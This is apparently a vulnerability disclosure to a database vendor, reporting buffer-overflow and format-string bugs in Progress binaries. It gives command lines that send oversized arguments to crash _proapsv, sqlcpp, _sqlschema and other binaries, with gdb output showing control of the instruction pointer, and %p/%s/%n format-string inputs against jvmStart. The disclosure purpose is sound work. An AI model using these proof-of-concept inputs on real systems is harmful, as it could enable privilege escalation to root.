|
strcpy() and p_stcopy() dbut_p_stcopy are BAD!#@@!#$!
you need to make use of strncpy() or invent p_stncopy
This is straight from the unix man pages for strcpy()
NAME
strcpy, strncpy - copy a string
SYNOPSIS
#include <string.h>
char *strcpy(char *dest, const char *src);
BUGS
If the destination string of a strcpy() is not large
enough (that is, if the programmer was stupid/lazy, and
failed to check the size before copying) then anything
might happen. Overflowing fixed length strings is a
favourite cracker technique.
The strncpy() function is similar, except that not more
than n bytes of src are copied. Thus, if there is no null
byte among the first n bytes of src, the result wil not be
null-terminated.
Maybe the below listing is a good place to start looking for things to clean up... IN DEPTH. These are serious security issues
I am sure the public would not be happy to know that their database application willingly provides root would be attackers.
I would suggest aggressively stress testing the below applications.
[root@linux elguapo]# grep stcopy /usr/dlc/bin/*
Binary file /usr/dlc/bin/dbf matches
Binary file /usr/dlc/bin/_dbutil matches
Binary file /usr/dlc/bin/jni_util.dll matches
Binary file /usr/dlc/bin/mkschema matches
Binary file /usr/dlc/bin/_mprosrv matches
Binary file /usr/dlc/bin/_mprshut matches
Binary file /usr/dlc/bin/orarx matches
Binary file /usr/dlc/bin/_orasrv matches
Binary file /usr/dlc/bin/_proapsv matches
Binary file /usr/dlc/bin/_proapsv.old matches
Binary file /usr/dlc/bin/_probrkr matches
Binary file /usr/dlc/bin/_probuild matches
Binary file /usr/dlc/bin/prodb matches
Binary file /usr/dlc/bin/_progres matches
Binary file /usr/dlc/bin/prolib matches
Binary file /usr/dlc/bin/prolog matches
Binary file /usr/dlc/bin/_prooibk matches
Binary file /usr/dlc/bin/_prooidv matches
Binary file /usr/dlc/bin/_proutil matches
Binary file /usr/dlc/bin/_rfutil matches
Binary file /usr/dlc/bin/showcfg matches
Binary file /usr/dlc/bin/sqlcpp matches
Binary file /usr/dlc/bin/_waitfor matches
This is pre 91B08.tar.Z patch
[root@linux progress-java]# /usr/dlc/bin/_proapsv -N `perl -e 'print "A" x 27133'`B
Segmentation fault (core dumped)
[root@linux progress-java]# gdb /usr/dlc/bin/_proapsv core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `/usr/dlc/bin/_proapsv -N
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /usr/lib/libg++.so.2.7.2...done.
Loaded symbols for /usr/lib/libg++.so.2.7.2
Reading symbols from /usr/lib/libstdc++-libc6.1-1.so.2...done.
Loaded symbols for /usr/lib/libstdc++-libc6.1-1.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /usr/lib/libstdc++.so.2.7.2...done.
Loaded symbols for /usr/lib/libstdc++.so.2.7.2
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x42414141 in ?? ()
(gdb)
This is in current patch level aka... 91B08.tar.Z
Note there was an attempt at stopping the overflow. I only checked a few of these... truncating a sting to 1024 bytes doesn't really do
much if the buffer is still 11 bytes... you need to make use of strncpy() or invent p_stncopy
[root@linux /root]# /usr/dlc/bin/_mprosrv `perl -e 'print "A" x 3000'`
23:07:29 Input command line truncated at 1024 bytes.
23:07:29 SERVER : Startup parameters cannot be longer than 300 characters. (5901)
[root@linux /root]# /usr/dlc/bin/_mprosrv `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'`
04:53:29 SERVER : ** Your database name is longer than 11 characters. (448)
04:53:29 SERVER : ** Cannot find or open file /root/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, errno = 36. (43)
04:53:29 SERVER : SYSTEM ERROR: Memory violation. (49)
04:53:29 SERVER : ** Save file named core for analysis by Progress Software Corporation. (439)
04:53:29 SERVER : ** The server terminated due to signal 3. (801)
[root@linux /root]# /usr/dlc/bin/_mprshut `perl -e 'print "A" x 300'`
** Your database name is longer than 11 characters. (448)
** Cannot find or open file
/root/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,
errno = 36. (43)
SYSTEM ERROR: Illegal instruction. (47)
Note the difference in errors...
** Save file named core for analysis by Progress Software Corporation.
(439)
Quit (core dumped)
[root@linux /root]# /usr/dlc/bin/_mprshut `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'` -N `perl -e 'print "A" x 300'`
** Your database name is longer than 11 characters. (448)
** Cannot find or open file /root/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, errno
= 36. (43)
SYSTEM ERROR: Memory violation. (49)
** Save file named core for analysis by Progress Software Corporation. (439)
Quit (core dumped)
[root@linux patch]# $DLC/bin/orarx -S `perl -e 'print "A" x 80000'`
Input command line truncated at 1024 bytes.
SYSTEM ERROR: strent request for more than 32K. (893)
** Save file named core for analysis by Progress Software Corporation.
(439)
Quit (core dumped)
[root@linux bin]# ./sqlcpp `perl -e 'print "A" x 7000'`
Segmentation fault
[root@linux bin]# gdb ./sqlcpp
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
This GDB was configured as "i386-mandrake-linux"...
(gdb) run `perl -e 'print "A" x 7000'`
Starting program: /home/elguapo/patch/bin/./sqlcpp `perl -e 'print "A" x7000'`
Program received signal SIGSEGV, Segmentation fault.
0x081effc0 in p_stcopy ()
(gdb) bt
#0 0x081effc0 in p_stcopy ()
#1 0x080aea60 in sqlppgdst ()
#2 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
[root@linux bin]# ./_probrkr -S `perl -e 'print "A" x 87000'`
03:14:28 Input command line truncated at 1024 bytes.
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
PROGRESS stack trace as of
... (runs forever)
Segmentation fault
[root@linux bin]# ./_sqlschema `perl -e 'print "A" x 87000'`
Password for root to access
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
Segmentation fault (core dumped)
[root@linux bin]# gdb ./_sqlschema core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
This GDB was configured as "i386-mandrake-linux"...
Core was generated by
`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/dlc/lib/libsql.so...done.
Loaded symbols for /usr/dlc/lib/libsql.so
Reading symbols from /usr/dlc/lib/libsnw.so...done.
Loaded symbols for /usr/dlc/lib/libsnw.so
Reading symbols from /usr/dlc/lib/libgeneric.so...done.
Loaded symbols for /usr/dlc/lib/libgeneric.so
Reading symbols from /usr/dlc/lib/libenv.so...done.
Loaded symbols for /usr/dlc/lib/libenv.so
Reading symbols from /usr/dlc/lib/liberr.so...done.
Loaded symbols for /usr/dlc/lib/liberr.so
Reading symbols from /usr/dlc/lib/libos.so...done.
Loaded symbols for /usr/dlc/lib/libos.so
Reading symbols from /usr/dlc/lib/librdsm.so...done.
Loaded symbols for /usr/dlc/lib/librdsm.so
Reading symbols from /usr/dlc/lib/libdt.so...done.
Loaded symbols for /usr/dlc/lib/libdt.so
Reading symbols from /usr/dlc/lib/libpfe.so...done.
Loaded symbols for /usr/dlc/lib/libpfe.so
Reading symbols from /usr/dlc/lib/librss.so...done.
Loaded symbols for /usr/dlc/lib/librss.so
Reading symbols from /usr/dlc/lib/libstubs.so...done.
Loaded symbols for /usr/dlc/lib/libstubs.so
Reading symbols from /usr/dlc/lib/libmm.so...done.
Loaded symbols for /usr/dlc/lib/libmm.so
Reading symbols from /usr/dlc/lib/librocket.so...done.
Loaded symbols for /usr/dlc/lib/librocket.so
---Type <return> to continue, or q <return> to quit---
Reading symbols from /usr/dlc/lib/libpronls.so...done.
Loaded symbols for /usr/dlc/lib/libpronls.so
Reading symbols from /lib/libpthread.so.0...done.
warning: Unable to set global thread event mask: generic error
[New Thread 1024 (LWP 6553)]
Error while reading shared library symbols:
Cannot enable thread event reporting for Thread 1024 (LWP 6553): generic
error
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libm.so.6...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /usr/dlc/lib/libusort.so...done.
Loaded symbols for /usr/dlc/lib/libusort.so
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
#0 0x4098c984 in strcpy () from /lib/libc.so.6
(gdb) bt
#0 0x4098c984 in strcpy () from /lib/libc.so.6
#1 0x0807d778 in __DTOR_END__ ()
#2 0x40111284 in tpe_get_cur_userpw () from /usr/dlc/lib/libos.so
#3 0x41414141 in ?? ()
Error accessing memory address 0x41414141: No such process.
(gdb)
[root@linux bin]# ./_sqldump `perl -e 'print "A" x 87000'` yamom
Segmentation fault (core dumped)
...
(gdb) bt
#0 0x40937b66 in getenv () from /lib/libc.so.6
#1 0x40985bb3 in _IO_file_close_it () from /lib/libc.so.6
#2 0x4098a1f5 in mallopt () from /lib/libc.so.6
#3 0x4098616d in malloc () from /lib/libc.so.6
#4 0x409c0717 in getpwuid () from /lib/libc.so.6
#5 0x40113b21 in os_getpwname () from /usr/dlc/lib/libos.so
#6 0x40111126 in tpe_get_cur_user () from /usr/dlc/lib/libos.so
#7 0x0804dc41 in dd_getargs ()
#8 0x0804de06 in main ()
#9 0x41414141 in ?? ()
Error accessing memory address 0x41414141: No such process.
And as a side note there is one more security bug you need to investigate... format strings abuse...
I have yet to find one in a suid program but... one that is called from a suid location is just as bad...
jvmStart already has bufferoverflow issues... on top of that its got format strings vulnerabilities.
[root@linux elguapo]# export DLC=/
[root@linux elguapo]# export JREHOME=/
[root@linux elguapo]# /usr/dlc/bin/jvmStart %p,%p,%p,%p,%p
completed
Error parsing file to execute: (0xbffff070,0x804dd40,0x8055b08,0x804e29c,0x804f480)
Error starting JVM, error 22.
note the nice memory locations ...
we can caue core easily
[root@linux elguapo]# /usr/dlc/bin/jvmStart %s%s%s
completed
Segmentation fault (core dumped)
and write any data we want to the stack with %n
[root@linux elguapo]# /usr/dlc/bin/jvmStart %s%n
completed
Segmentation fault (core dumped)
|
